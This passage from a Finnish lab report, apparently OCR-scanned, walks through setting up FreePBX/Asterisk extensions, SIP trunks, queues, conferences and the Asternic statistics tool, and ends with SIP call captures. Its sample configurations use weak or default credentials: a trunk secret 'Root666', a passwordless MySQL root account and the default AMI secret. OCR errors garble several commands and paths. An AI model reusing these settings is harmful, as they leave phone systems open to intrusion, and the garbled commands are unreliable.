tOS-kayttojarjestelman, Asterisk-puhelinvaihdeohjelmiston ja FreePBX -
graafisenkayttoliittyman. Virtuaalipalvelimille ladattiin sisddn asennusmedia, minka
jalkeen ne kdynnistyvat kuviossa 6 olevaan asennusruutuun. Palvelimiin kaytettiin

valittuna olevaa Full Install -asennusvaihtoehtoa.
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FreePBX 6.12.65 with Asterisk 11
Full Install

Kuvio 6. Asterisk-asennuksen aloitus

Taman jalkeen asennus jatkuu verkkoasetusten syottamisella ja aika-asetusten maa-
rittdmiselld, joidenka jalkeen asennusohjelma suorittaa asennuksen ja palvelin kdyn-
nistyy uudelleen. Palvelin on tdman jalkeen valmis kaytettavaksi. Palvelimen asennus

on liitteena. (Liite 1.)

3.3 Palvelimelle kirjautuminen

Kun asennus on saatu tehtyd, voidaan palvelinta ruveta konfiguroimaan joko suoraan
tekstitiedostoihin tai graafisen kayttoliittyman avulla. Graafiseen kayttéliittymaan
padstaan kasiksi laittamalla selaimeen palvelimen IP-osoite, jolloin aukeaa kuvion 7
nakoinen kirjautumisvalikko. Painetaan “FreePBX Administration” vaihtoehtoa, jonka

jalkeen palvelimelle luodaan tunnus, jolla padsee jatkossa kirjautumaan sisaan.
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& (@ 31.3.65.145/admin/config.php + €| [B~ Google a ¢

3% FreePBX Support | ISymphonyVa Panel | UCP

W
¢/,
FreePBX Administration User Control Panel Operator Panel Get Support
¢ FreePBX ..ot . (D S ANGOMA
a P let freedom ring™ &

Kuvio 7. FreePBX kirjautuminen

3.4 Kayttdjan lisadminen

Kuviossa 8 on aloitusruutu kayttdjan lisaamiseen. Se 16ytyy Applications-valikosta
Extensions kohdasta. Tydssa kaytetaan SIP-protokollaa, joten laitteiksi maaritelldaan

oletuksenakin oleva “Generic CHAN SIP Device” vaihtoehto ja painetaan submit.
‘X,:})(' Admin « Applications « Connectivity « Reports « Settings « Ucp
Add an Extension

Please select your Device below then click Submit

- Device

Device Generic CHAN SIP Device ¢

Submit

Kuvio 8. Kayttdjan lisdamisen aloitus
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Taman jalkeen aukeaa pitkavalikko joka sisdltdd monia eri ominaisuuksia kayttajille.
Seuraavaksi kdydaan lapi tassa tyossa tarvitut ominaisuudet. User Extension on puhe-
linnumero, joka annetaan kayttajalle, esim. 010123456. Display Name on kayttajalle
annettava nimi, esim Erkki Esimerkki/Varasto. Outbound CID on numero jonka kayt-
taja ndyttaa omanaan, kun puhelut yhdistetdan muualle kuin omaan palvelimeen
kuuluviin puhelinnumeroihin. Tata ominaisuutta tarvitaan tydssa, koska kaikille pal-
velimille halutaan omat suuntanumerot. Nain ollen, jos puhelinnumerolle 010123456
annetaan Outbound CID 441012345 sen ollessa esimerkiksi Englannissa. Kyseiset

valinnat ovat kuviossa 9.

Add SIP Extension

- Add Extension

L]

User Extension

Display Name -

CID Num Alias @

SIP Alias @

- Extension Options
Queue State Detection @ Use State  ©

Outbound CID ©

Kuvio 9. Kayttdjan numeron ja nimen lisdéaminen

Alempaa listalta l16ytyy kohta Secret, jolla maaritellaan kayttajan salasana. Palvelin
generoi valmiin salasanan jotka ovat pitkia ja vaikeita muistaa, joten hyva vaihtaa

johonkin muuhun. Kyseinen kohta kuviossa 10.

Seciol® I 18f6adf38342fchbb1124c5d736cd9ad

DTMF Signaling © RFC 2833 .

Kuvio 10. Kayttajan salasanan maarittaminen
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Palvelin luo oletuksena jokaiselle uudelle kayttdjalle my6s tunnuksen User Control
Panel (UCP) ominaisuuteen ja generoi myds siihen erikseen salasanan. Salasana on

hyva vaihtaa itse sopivaan. Kayttdjan ja salasanan luominen I6ytyvat kuviosta 11.

- User Manager Settings

Link to a Default User: © CrpaleblawUs el

Uksinarme 2 “| Use Custom Username
Password @ salanan

Kuvio 11. User Control Panelin kadyttaja ja salasana

Voicemail, eli vastaajapalvelu ei ole oletuksena paalla kayttajilla, vaan se pitaa erik-
seen ottaa kayttoon. Kayttdjan omasta Voicemail kohdasta valitaan enabled ja anne-
taan taas kerran sopiva salasana kayttdjalle. Sahkopostipalvelua ei ole kayt6ssa, joten

muita asetuksia ei tarvita. Asetus 16ytyy kuvion 12 mukaisesta kohdasta.

- Voicemail

Status Enabled *
Voicemail Password @ salasana
Require From Same Extension @ s

Email Address @
Pager Email Addresse
Email Attachment -
Play CID @

Play En'..relt:rpee

Delete Voicemail ©

VM Options.0

VM Context © default

Kuvio 12. Kayttajan Voicemailin kdyttoonotto
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Lopuksi painetaan valikon alapdasta 16ytyvaa submit-painiketta, jolloin kayttaja lisa-
taan. Taman jalkeen ruutu palaa takaisin kdyttajan lisddmisen aloitusruutuun ja kayt-

tajat voi nahda sivun oikealta reunalta kuvion 13 mukaisesti.

*K;.‘* Admin v | Applications v || Connectivity v | Reports v || Settings v | UCP Logout:

Add an Extension

Please select your Device below then click Submit

Device Generic CHAN SIP Device =

Submit

Kuvio 13. Kayttdjan lisddminen valmis

3.5 SIP-trunk konfiguroiminen

Palvelinten yhdistamista varten taytyy niiden valille luoda SIP trunkit. Niiden lisdami-
nen ja konfigurointi tapahtuvat Connectivity-valikosta Trunks kohdasta. Kuviossa 14
on aloitusruutu trunkin lisddmiseen. Tydssa kdytetdaan SIP-protokollaa, joten valitaan

”Add SIP (chan_sip) Trunk” painike.

Eo il Admin » Applications « Connectivity « Reports « Settings ~ ucp

Add a Trunk

@ Add SIP (chan_sip) Trunk
@ Add DAHDI Trunk

@ Add IAX2 Trunk

@ Add ENUM Trunk

& Add DUNDi Trunk

@ Add Custom Trunk

Kuvio 14. SIP-trunkin konfiguroinnin aloitus

Taman jalkeen aukeaa lista trunkin asetuksista kuvion 15 mukaisesti. Kuviossa on
esimerkkina trunkin asetukset, jotka on luotu pbxuk-palvelimelta pbxfin-palvelimelle.

"Trunk name” kohdassa asetetaan yhteydelle sita kuvaava nimi.



Edit Trunk

@Delete Trunk pbxfin

In use by 1 route ©

General Settings

Trunk Name ©:

Outbound CallerID ©:

CID Options 0:

Maximum Channels ©:
Asterisk Trunk Dial Options ©

Continue if Busy 9:

Disable Trunk ©:

Kuvio 15. SIP-trunkin nimi
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pbxfin

Allow Any CID 2

loverride

_Icheck to always try next trunk

_IDisable

Taman jalkeen siirrytddn Outgoing Settings kohtaan. Tydssa kdytettiin palvelinten

valilla friend-tyyppia oletuksena olevan peer-tyypin sijaan, jotta palvelinten vilille

saatiin tarvittava luottamussuhde. Kuviossa 16 on konfigurointi palvelimella pbxuk ja

kuviossa 17 vastaavasti pbxfin konfigurointi. Erityisen huomioitavaa on, etta Trunk

name kenttdan tulee syottaa sama nimi kuin palvelinten valiseksi kayttajanimeksi

username-kenttaan.

Outgoing Settings

Trunk Namee:

PEER Details @:

host=192.102.32.145
usemame=pbxfinukuser
secret=Root666
type=friend

qualify=yes
context=from-internal

Kuvio 16. Pbxuk trunkin konfigurointi

pbxfinukuser
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Outgoing Settings

Trunk Nameﬂ: phxfinukuser

PEER Details ©:

host=31.3.65.145
username=pbxfinukuser
secret=Root666
type=friend

qualify=yes
context=from-internal

Kuvio 17. Pbxfin trunkin konfigurointi

Kun trunkit on saatu konfiguroitua, voidaan niiden toiminta varmistaa menemalla
freepbx:n ylavalikosta kohtaan Reports = Asterisk Info ja tdman jalkeen oikealta
Chan_Sip Info tasta aukeaa kuvion 18 mukainen ruutu joka tarjoaa statistiikkaa yh-

teyksista. Statuksen ollessa OK, ovat yhteydet ylhaalla.

Name/username Host Dyn Forcerport Comedia ACL Port Status Description
010123456/010123456 67.201.66.170 D Yes Yes A 5060 OK (6 ms)
010223456/010223456 193.45.129.101 D Yes Yes A 5060 OK (16 ms)
010323456/010323456 67.201.66.170 D Yes Yes A 5060 OK (1 ms)
010423456/010423456 67.201.66.170 D Yes Yes A 5060 OK (6 ms)
010523456/010523456 67.201.66.170 D Yes Yes A 5060 OK (1 ms)
010623456/010623456 67.201.66.170 D Yes Yes A 5060 0K (6 ms)
010723456/010723456 67.201.66.170 D Yes Yes A 5060 OK (6 ms)
010823456/010823456 67.201.66.170 D Yes Yes A 5060 OK (6 ms)
010923456/010923456 67.201.66.170 D_Yes Yes A 5060 OK (1 ms
pbxchukuser/pbxchukuser 123.178.0.145 Yes Yes 5060 0K (5 ms)
pbxfinukuser/pbxfinukuser 192.102.32.145 Yes Yes 5060 OK (7 ms)
pbxfraukuser/pbxfraukuser 196.216.160.145 Yes Yes 5060 OK (1 ms)
12 sip peers [Monitored: 12 online, @ offline Unmonitored: @ online, © offline]

Kuvio 18. Trunkin toiminnan tarkastaminen

3.6 Outbound route

Palvelimille pitda konfiguroida mita trunkia kdaytetaan millekin puhelinnumeroille
maarittamalla outbound routet. Valikko 16ytyy connectivity-valikosta “Outbound
Route” kohdasta. Kuviossa 19 on esimerkkina asetukset reitiltd pbxuk-palvelin >

pbxfin-palvelin. “Route Name” kohtaan maaritellaan reitille nimi.
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Route Settings

Note: Extension Routes is not registered
Route Name ©: i

Route CID: @ | Jovenide Exiension

Route Password: ©

Route Type: @ _|Emergency Mintra-Company
Music On Hold? @ default >

Time Group: © —Permanent Route— =
Route Position © —No Change—

Kuvio 19. Outbound routen nimi

Dial Patterns kohtaan lisataan numerot, joihin soitetut puhelut halutaan ohjata talle
reitille, ja mita muutoksia niihin tehdaan. Soitettua puhelinnumeroa verrataan prefix
—ja match pattern-kenttiin. Prepend kentassa olevat numerot lisdtaan soitettuun
numeroon sen lahtiessa trunkkiin. Prefix kentdan numerot poistetaan numerosta en-
nen lahettamistd. Match pattern kenttdan maaritelldan numeroavaruus, jonka puhe-
lut ohjataan. Esimerkiksi kuvion 20 mukaisessa dial patternissa soitettua puhelinnu-
meroa verrattaisiin ensiksi prefix kentan 358 suuntanumeroon ja match patterniin
”.”, joka tarkoittaa mita vain numerosarjaa. Taman jalkeen puhelinnumeroon lisatdaan
numero 0 ennenkuin se ldhetdan eteenpain trunkiin pbxfin, joka on maaritelty koh-
dassa Trunk Sequence. Trunk Sequence kohtaan voidaan asettaa useita trunkkeja eri
tarkeysjarjestykseen, esimerkiksi varayhteyksiksi. Taman esimerkin mukaan trunkiin

ohjattaisiin esimerkiksi numero 358201234567 ja se muutettaisiin muotoon

0201234567.



Dial Patterr 1 | use s Rou
(o )+ 358 Him
(|prepend |) + | prefix | [ ma

+ Add More Dial Pattern Fields

Dial patterns wizards 0:
Export Dialplans as CSV 0:
Trunk Sequence for Matched Rou
0 | pbxfin M il
1 :

Add Trunk

match pat

/ | CalleriD

temn / | calleriD

V(plck one)

Export

Kuvio 20. Outbound routen esimerkki konfigurointi

3.7 Jonot
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1© il
19 i

Yhdesta palvelimista tehtiin Call Center, eli sinne luotiin jonoja johon kayttajat voivat

soittaa ja jonottaa asiakaspalvelun tapaan. Jonojen lisadminen tapahtuu Applicati-

ons-valikosta, kohdasta queues. Ruutu aukeaa kuvion 21 mukaiseen valikkoon.

Queue Number kenttdan tulee jonolle numero, joka toimii samalla myds sen puhe-

linnumerona johon kayttajat soittavat. Queue Name kenttdan tulee jokin jonoa ku-

vaava nimi, esim. Myynti/HR/HelpDesk.
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Add Queue
Add Queue

Queue Number:ﬂ

Queue Name:ﬂ

Queue Password: @

Generate Device Hints: @

Call Confirm: @

Call Confirm Announce:
CID Name Pna-fi:'{:'E1II

Wait Time Prefix: © N“ :
Alert Infoﬂ:

Static Agents: ©

Kuvio 21. Jonon konfiguroinnin aloitus

Jonojen kaytttajat, eli kayttajat jotka vastaavat puheluihin, maaritelldan joko staatti-
siksi agenteiksi tai dynaamisiksi jaseniksi. Vaihtoehdot I6ytyvat kuvion 22 kohdalta.
Kaytannossa tama tarkoittaa sitd, etta staattiset agentit ovat jonossa aina kun ovat
kirjautuneena sisdan ja dynaamiset jasenet voivat kirjautua sisaan ja ulos jonoon.
Dynaamisten kayttdjien jonoon kirjautuminen tapahtuu soittamalla jonon numeroon
ja lisadmalla *-merkki numeron peraan. Ulos kirjautuminen tapahtuu vastaavasti li-

saamalla kaksi **-merkkida numeron peraan.
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Static Agents: ©

Extension Quick Pick © (pick extension) S
Dynamic Members: ©

Extension Quick Pick @ (pick extension) =
Restrict Dynamic Agents © - E‘]

Agent Restrictions © Call as Dialed =

Kuvio 22. Jonon agenttien konfigurointi

Jos jonolle ei erikseen maaritella kenen puheluun tulisi vastata milloinkin se soittaa
puhelinta kaikilla vapaana olevilla jasenilla samaan aikaan. Tahan on kuitenkin vaih-
toehtoja kuvion 23 mukaisessa kohdassa Ring Strategy valikossa. Tyossa kaytettiin
taman vakiona olevan ringall toiminnon lisdksi fewestcalls ja leastrecent vaihtoehto-
ja. Fewestcalls seuraa kenelld jonon kayttajista on vahiten vastattuja puheluita ja se
valikoi tdman perusteella kenelle puhelu ohjataan. Leastrecent seuraa kenelld on
kauiten siita, kun puheluun on vastattu viimeksi ja puhelut ohjataan kayttajille taman

perusteella.
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General Queue Options
Ri . @ ringall &

ing Strategy: | fing =
Autofill: @

; .9 No =

Skip Busy Agents: (No &
Queue Weight: @ D=l
Music on Hold Class: @ inherit 2| WRLLLALUS AgentRinging | Ring Only
Join Announcement: © | None Z l!'.“-'»-w-u-n!v‘ When No Free Agents ~ When No Ready Agents
Call Recording: © Force  Yes No  Never

Mark calls answered elsewhere: ©

Kuvio 23. Jonon puheluiden ohjaus

Lopuksi jonolle tulee maaritella Fail Over Destination, eli mita tapahtuu, jos puheluun
ei vastata. Valikko nakyy kuviossa 24. Tahdan on kymmenia eri vaihtoehtoja joita ovat
esimerkiksi puhelun ohjaaminen johonkin toiseen jonoon tai numeroon, daniviestin
jattadminen, soittajalle daniviestin soittaminen ja puhelun katkaisu. Valinnan jalkeen

painetaan sivun alhaalta submit, ja jonon luominen on valmis.

Fail Over Destination

| == choose one ==

Kuvio 24. Jonon Fail Over Destination

3.8 Jonojen statistiikka

3.8.1 Asternic

Jonojen statistiikka ja kayttdjia haluttiin seurata, mutta Asterisk ei tarjonnut tata

ominaisuutta vakiona vaan maksullisena lisdosana. Ndin ollen naitd ominaisuuksia
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varten paadyttiin asentamaan Call Center palvelimelle Asternic-ohjelma, jolla saa-
daan halutut tiedot esiin. Asternicin asentaminen tapahtui ohjelmiston kotisivuilta

[6ytyvan asennusohjeen mukaan seuraavasti.

3.8.2 Asternicin asennus

Ensiksi Asternicin asennustiedostot tulee ladata koneelle kuvion 25 mukaisesti

[rootPlocalhost ~1# cd susrrssrc
[rootPlocalhost srclt wget http:rrsdownload.asternic.netrasternic-stats-1.5.tg=

Kuvio 25. Asternicin lataaminen

Kun tiedosto on ladattu, puretaan se ja siirrytdan kansioon, kuviossa 26.

[root@localhost srcl#t tar zuxf asternic-stats-1.5.tg=
[root@localhost srcl#t cd asternic-stats

Kuvio 26. Asternicin purkaminen

Ohjelmaa varten taytyy luoda myds mysql tietokanta, tama tapahtuu kuvion 27 mu-

kaisilla komennoilla.

[root@localhost asternic-stats]# musoladmin -u root -» create ostats
[root@localhost asternic-statsl# muysql -u root -p gstats < sql-sgstats.sgl_

Kuvio 27. Tietokannan luominen Asternicille

Taman jalkeen siirrytadn konfiguroimaan autentikointitiedot tietokantaa varten, (ku-
viot 28 ja 29). Huomioitavaa on, etta tassa kohtaa taytyy tietda Asterisk Managerin
salasana, joka loytyy FreePBX:lld graafisesta kayttoliittymasta, kohdasta Settings 2>
Advanced Settings kohdasta Asterisk Manager. Kyseinen salasana on oletuksena

amplll.

hrnntﬂlncﬂlhnﬁt asternic-statz ]l nano susrssrcrasternic-statsshtmlesconfig.php _

Kuvio 28. Asternicin polku tietokannan autentikoinnin konfiguroimiseen



34

L¥php
require_once("dblib.php"):
require_once("misc.php");

/7 Credentials for MYSQL database

Sdbhost = ’localhost’:
Sdbname = ‘gstats’:;
Sdbuser = ’root’:
Sdbpass = "’

## Credentials for AMI (for the realtime tab to work)
/7 See setcrasterisksmanager.conf

Smanager_host = "127.8.8.1";

Smanager_user = "admin":

Smanager_secret = “"amp111“;

/7 fAvailable languages “es”, "en", “ru", “de", "fr"

S5language = “"en";

Kuvio 29. Asternicin tietokannan autentikoinnin konfigurointi.

Lisataan viela tietokannan autentikointitiedot kuvion 30 ja 31 mukaiseen lokin par-

seroinnin konfigurointitiedostoon.

[rootPlocalhost asternic-statsl# nano susr/srcsastermic-statssparselogsconfig.ph
P _

Kuvio 30. Asternicin polku parseroinnin autentikoinnin konfiguroimiseen

Lphp
require_once("dblib.php"):
require_once("misc.php"):

'rsvarslograsterisk/’
'queue_log’ :

Squeve_log_dir
Squeue_log_file

Sdbhost = ’localhost’:;

Sdbname = ‘gstats’:

Sdbuser = ’'root’:

Sdbpass = '’ :

Smidb conecta_db($dbhost,Sdbname, Sdbuser,Sdbpass):

Sself S_SERVERL’ PHP_SELF' 1:;

SDB_DEBUG = false:

T

Kuvio 31. Asternicin parseroinnin autentikoinnin konfiguroiminen
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Siirretaan vield html tiedostot Apache-kansioon ja parserointiloki uuteen paikkaan

(kuvio 32).

[rootBlocalhost asternic-stats]l# me susr/srcrasternic-statsshtml svarswew html- g
heue-stats

[root@localhost asternic-stats]# mv fusrr/srcrasternic-statssparselogs susr#local

Kuvio 32. Asternicin tiedostojen siirtaminen

Lopuksi vield luodaan crontab-tehtava, joka parseroi dataa lokista ja vie sen tietokan-

taan (kuvio 33).

[rootRlocalhost asternic-stats1#f crontab -e_
B = = = = php -q ~susr-local-sparselog-sparselog.php convertlocal

Kuvio 33. Asternicin crontab-tehtavan luominen

3.8.3 Asternicin kayttaminen

Kun Asternicin asennus on saatu valmiiksi ja tietokantaan on saatu parseroitua dataa,
voidaan sita tarkastella graafisen kayttoliittyman avulla. Siihen paasee kasiksi se-
laimella syottamalla palvelimen IP-osoitteen/queue-stats. Tama aukaisee kuvion 34

nakoisen etusivun, jolla voidaan luoda raportteja halutulta aikavalilta ja henkilGilta.

31.3.65.145, « @| B~ coogle Q

Home Answered Unanswered Distribution Realtime

©
B

Select Queues Select Agents

Available Selected Available Selected
010100100 lan McKellen
010100200 B @ Michael Caine
010100300 SIP/010123456

Bl sip/o10323456
Anthony Hopkin

BRen Kincaleu

Select Time Frame
Shortcuts
Today | This week | This month | Last 3 months

Start Date | 15 2 Janﬂr! > || 2016

% Asternic Call Center Stats | %

End Date 15 2| January -] 2016

Display Report

© Copyright 2008 by Nicolas Gudifio - Asternic Asterisk Tools Licensed under GPL3

Kuvio 34. Asternicin etusivu
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Vililehdet Answered, Unanswered ja Distribution ovat kaikki tdman tietokannasta
|oytdavan datan seuraamista varten. Realtime-vililehti sen sijaan tarjoaa reaaliaikasta
tilannetietoa jonoista ja niihin kuuluvista agenteista. Kuten kuviosta 35 nakyy, jokai-

nen jono seka niihin kuuluvat agentit on listattu erikseen.

Home Answered Unanswered Distribution ‘ Realtime l

Current agent status
Hide Logged Off

Agent Status

Queue Agent State Durat. CLID Last In Call

010100300

Sean Bean

B not in use

no info available

010100300

Ben Kinsgley

B not in use

no info available

010100300

Sean Connery

B not in use

no info available

Queue

Agent

State

Durat.

CLID

Last In Call

010100200

lan McKellen

B busy

no info available

010100200

Maggie Smith

B not in use

no info available

010100200

Michael Caine

[ ]

not in use

0:17 min. ago

Queue

Agent

State

Durat.

CLID

Last In Call

010100100

Hugh Laurie

no info available

010100100

Tom Hardy

B not in use

M not in use

no info available

010100100

Anthony Hopkins

ringing

no info available

Kuvio 35. Jonojen seuraaminen reaaliajassa

3.9 Konferenssipuhelut

Konferenssipuhelut ovat puheluita, johon moni kayttaja kerralla voi liittya, ja he voi-
vat keskustella yhdessa samanaikaisesti. Konferenssipuheluita varten luodaan, nu-
mero johon kayttajat soittavat paastdkseen osallistumaan puheluun. Konferenssin
liséaminen l6ytyy Applications-valikosta, kohdasta Conferences. Kuviossa 36 on esi-
merkkikonfigurointi. Conference Number -kohtaan tulee konferenssipuhelun nume-
ro, johon puheluun haluavat soittavat. Conference Name -kohtaan tulee konferenssia
kuvaava nimi. User PIN ja Admin PIN ovat vaihtoehtoisia valintoja. Jos puheluun liitty-
jiltd halutaan vaatia salasana, se asetetaan User PIN -kohtaan. Admin PIN kohtaan
tulee puhelun johtajaa varten salasana, jolla han liittyy puheluun. Admin PIN on
oleellinen vain, jos kdytetdan Leader Wait -optiota, jossa puhelu alkaa vasta, kun joku

kayttdja on kirjautunut sisaan Admin PIN: id kayttaen.



Conference: 0101337
@ Delete Conference 0101337

Edit Conference

Conference Number: @ 0101337

Conference Name: @ johtoporras
User PIN: © 123
Admin PIN: @ 321

Conference Options

Join Message:e None |
Leader Wait: @ L

Talker Optimization: @~ [No |

Talker Detection: @ ‘No :

Kuvio 36. Konferenssipuhelun konfiguroiminen
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4 Jarjestelman testaus

4.1 Puheluiden testaus

Jarjestelman toimivuus testattiin puheluiden osalta soittamalla joka palvelimella ole-
valla kayttdjalla jokaiseen eri palvelimella olevaan kdyttajaan. Nain varmistetaan, etta
kaikkien palvelimien valiset yhteydet toimivat kuten pitdaakin. Jonoihin ja konferens-
sipuheluun soittaminen toimivat samalla SIP-protokollalla kuin tavalliset puhelutkin.
Tama tarkoittaa sita, etta niidenkin wireshark-kaappauksissa on sama viestienvaihto.

Nain ollen niiden todentaminen erikseen ei ole mielekasta. Puheluiden testaaminen

tapahtui kahdella ciscon SPA514G VolP-puhelimella. Kaytetyt puhelimet kuviossa 37.

Kuvio 37. Cisco SPA514G testaus puhelimet

Aluksi puhelimet taytyy yhdistaa palvelimelle. Niiden konfigurointi tapahtuu graafi-
sella kayttoliittymalla, johon paastaan syottamalla selaimeen puhelimen IP-osoite.

Nain aukeaa kuvion 38 mukainen valikko.
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il Small Business

Admin Login basic | advanced

cisco SPA514G Configuration Utility
T Call History Personal Directory Attendant Console Status
b System Phone User
System Information ’ = ’
Connection Type: DHCP Current IP:  193.45.129.100 i
Host Name: SEPA4934CFEC940 Domain: customer.telianet.se
Current Netmask:  255.255.255.0 Current Gateway: 193.45.129.1
Primary DNS:  23.2.176.5
Secondary DNS:
Reboot History
Reboot Reason 1:  Backup IP(02/17/2016 20:37:41) Reboot Reason 2:  Backup IP(02/17/2016 19:37:35) |
Reboot Reason 3:  Backup IP(02/17/2016 18:37:29) Reboot Reason 4:  Backup IP(02/17/2016 17:37:23) |

Reboot Reason 5:  Backup IP(02/17/2016 16:37:17)

Product Information

Product Name: SPAS14G Serial Number:  CCQ1812000Z
Software Version: 7.5.2 Hardware Version:  1.0.0
MAC Address:  A4934CFEC940 Client Certificate:  Installed
Customization:  Open Licenses: None
Phone Status
Current Time:  3/11/2016 00:33:08 Elapsed Time: 22 days and 02:10:05
Rrnadact Dute Sant: &N Rrnadeact Rutes Sant: 9730

Kuvio 38. SPA514G etusivu

Seuraavaksi painetaan oikeasta ylanurkasta Admin login ja siirrytdan alle ilmestyvalle
Ext 1-valilehdelle. Puhelimille on mahdollista laittaa 4 eri kdyttdjaa samanaikaisesti,
jokaista varten on oma Extension valilehti. Alempaa valilehdelta |6ytyvat Proxy and
Registration ja Subscriber Information kohdat joihin tulee sy6ttda oman voip-
palvelimen tiedot, sekd halutun kayttajan tiedot. Tydssa kaytetyt esimerkki tiedot
kuviossa 39. Kun tiedot on syotetty ja tallennettu, laite kdynnistda itsensad uudelleen

ja on valmis puheluita varten.

Regianal Phane TR-069
Bl Ext2 Ext3 Extd
SIF PO | 5UbU SIF Uenlig Uption: | none =l ~
Call Feature Settings
Message Wating: | no  -| Default Ring: | 1 -
MaboxiD: [ User ID with Domain: | no |
Auto Ans Page On Active Call: Featre Key Sync: | no x|
Proxy and Registration
Proxy: | 196.216.160.145 |
Register: | yes x| Make Call Without Reg
Register Expres: | 3600 Ans Call Without Reg
Subscriber Information
Display Name: | Jacques Cousteau User ID: | 0301234567
Password: | s Use Auth ID: | yes x|
Auth1D: [ 0301234567
Audio Configuration
Preferred Codec: | G71lu x| Use Pref Codec Only: | no x|
Second Preferred Codec: Unspecified x| Third Preferred Codec Unspecified x|
Silence Supp Enable: | no -] DTMF Tx Method: | Auto - =1

Kuvio 39. SPA514G konfigurointi

Tassa testipuhelussa kaytetyt puhelinnumerot ovat 010123456 ja 010223456, puhelu

soitetaan numerosta 010223456. Puhelun muodostaminen alkaa SIP-protokollan
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mukaisesti INVITE-viestilla, joka lahtee soittajalta ensiksi puhelinpalvelimelle ja sita
kautta puhelun kohteelle, eli vastaajalle. Kuviossa 40 on wiresharkilla napattu INVITE-
viesti, josta nahdaan Method-kentassa, mika viesti on kyseessa ja From ja To kentissa

soittajan identiteetti ja soitettu numero.

I 138 43.690476  31.3. ©67.201.66.176 SIP/SDP 1020 Resuest: INVITE 512:916123456@57.261.66.176:5969, with session descr1et1w

139 43.696141 67.201.66.170 131.3.65.145 SIP 376 Status: 160 Trying
140 43.701943  67.201.66.170 131.3.65.145 SIP | 484 Status: 180 Ringing

> Frame 138: 1020 bytes on wire (8160 bits), 1020 bytes captured (8160 bits)

> Ethernet II, Src: 02:c0:73:01:04:01 (02:c0:73:01:04:01), Dst: Vmware 01l:la:ca (00:50:56:01:1a:ca)
> Internet Protocol Version 4, Src: 31.3.65.145 (31.3.65.145), Dst: 67.201.66.170 (67.201.66.176)
> User Datagram Protocol, Src Port: sip (5060), Dst Port: sip (5060)

Session Initiation Protocol

¥ Reguest-Line: INVITE sip:010123456@67.201.66.170:5060 SIP/2.6
Method: INVITE
> Request-URI: sip:010123456@67.201.66.170:5060

[Resent Packet: False]
¥ Message Header
» Via: SIP/2.0/UDP 31.3.65.145:5060;branch=z9hG4bK273410ee; rport

» Contact: <sip:010223456@31.3.65.145:5060>
Call-ID: 326501ca4b56a370282683290d1feb39@31.3.65.145:5060
» CSeq: 102 INVITE
User-Agent: FPBX-12.0.76.2(11.16.0)
Date: Mon, 11 Jan 2016 05:54:42 GMT
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH, MESSAGE
Supported: replaces, timer
» P-Asserted-Identity: "Maggie Smith" <sip:010223456@31.3.65.145>
Content-Type: application/sdp

Cantant 1ansth. 200

Kuvio 40. Testipuhelun INVITE-viesti

Taman lisdksi samassa INVITE-viestissa |ahtee myos SDP-protokollan osio, joka nah-
daan kuviosta 41. Kyseisesta kaappauksesta voidaan nahda lahetetyt ehdotukset kay-
tettavaksi koodaukseksi. PCMU on G.711 standardin U-law ja PCMA saman standar-

din A-law koodaus. Naiden liséksi on ehdotettu GSM ja G.726 standardin mukaisia

koodekkeja.

138 43.699476  31.3.65.145 67.201.66.176 SIP/SDP 1020 Request: INVITE sip:010123456@67.201.66.170:5060, with session descripti
139 43.696141  67.201.66.170 131.3.65.145 SIP 376 Status: 100 Trying
140 43.701943  67.201.66.170 131.3.65.145 SIP | 484 Status: 180 Ringing

MeTnoa: INVITE
User-Agent: FPBX-12.0.76.2(11.16.0)
Date: Mon, 11 Jan 2016 ©5:54:42 GMT
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH, MESSAGE
Supported: replaces, timer
> P-Asserted-Identity: "Maggie Smith" <sip:010223456@31.3.65.145>
Content-Type: application/sdp
Content-Length: 368
¥ Message Body
v Session Description Protocol
Session Description Protocol Version (v): 0
» Owner/Creator, Session Id (o): root 65016477 65016477 IN IP4 31.3.65.145
Session Name (s): Asterisk PBX 11.16.0
» Connection Information (c): IN IP4 31.3.65.145
> Time Description, active time (t): © @
> Media Description, name and address (m): audio 13144 RTP/AVP © 8 3 111 161
» Media Attribute : rtpmap:© PCMU/8000
» Media Attribute : rtpmap:8 PCMA/8000

> Media Attribute : rtpmap:3 GSM/8000
> Media Attribute : rtpmap:111 G726-32/8000
> Media Attribute (a): rtpmap:101 telephone-event/8000
> Media Attribute (a): fmtp:101 ©-16
> Media Attribute (a): ptime:20
Media Attribute (a): sendrecv

Kuvio 41. Testipuhelun INVITE-viestin SDP-osio
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Testi puhelussa laitteet paatyivat vaihtamaan tietoja kdytettavista protokollista uu-
delleen. Tama voidaan todeta kuviossa 42 olevasta kaappauksesta jossa on avattuna
soittajan lahettama OPTIONS-viesti, jolla se pyytda vastaajaa lahettamaan oman lis-

tansa hyvaksytyista parametreista.

141 44.095400 67.201.66.170 31.3.65.145 upP 44 Source port: sip Destination port: sip
. 16140 3,05, 67.201.66.170
143 44.166876 67.201.66.170 131.3.65.145 SIP 370 Status: 100 Trying

> Frame 142: 607 bytes on wire (4856 bits), 607 bytes captured (4856 bits)
» Ethernet II, Src: ©2:c0:73:01:04:01 (02:c0:73:01:04:01), Dst: Vmware 0l:la:ca (00:50:56:01:1a:ca)
» Internet Protocol Version 4, Src: 31.3.65.145 (31.3.65.145), Dst: 67.201.66.170 (67.201.66.170)
» User Datagram Protocol, Src Port: sip (5060), Dst Port: sip (5060)
v Session Initiation Protocol
v Reguest-lipe: OPTJONS sip:010123456@67.201.66.170:5060 SIP/2.0
v Request-URI: sip:010123456@67.201.66.1760:5060
Request-URI User Part: 010123456
Request-URI Host Part: 67.201.66.170
Request-URI Host Port: 5060
[Resent Packet: False]
v Message Header
> Via: SIP/2.0/UDP 31.3.65.145:5060;branch=z9hG4bKee7168d9; rport
Max-Forwards: 70
> From: "Unknown" <sip:Unknown@31.3.65.145>;tag=as@9%ed2fa7
> To: <sip:010123456@67.201.66.170:5060>
> Contact: <sip:Unknown@31.3.65.145:5060>
Call-ID: 5b45626343009d2a739cde9elf71lacbc@31.3.65.145:5060
> CSeq: 102 OPTIONS
User-Agent: FPBX-12.0.76.2(11.16.0)
Date: Mon, 11 Jan 2016 05:54:43 GMT
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH, MESSAGE

Kuvio 42. Testipuhelun OPTIONS-viesti

Kun parametrit on hyvaksytty tdssa tapauksessa vastaaja lahettdaa 200 OK-viestin
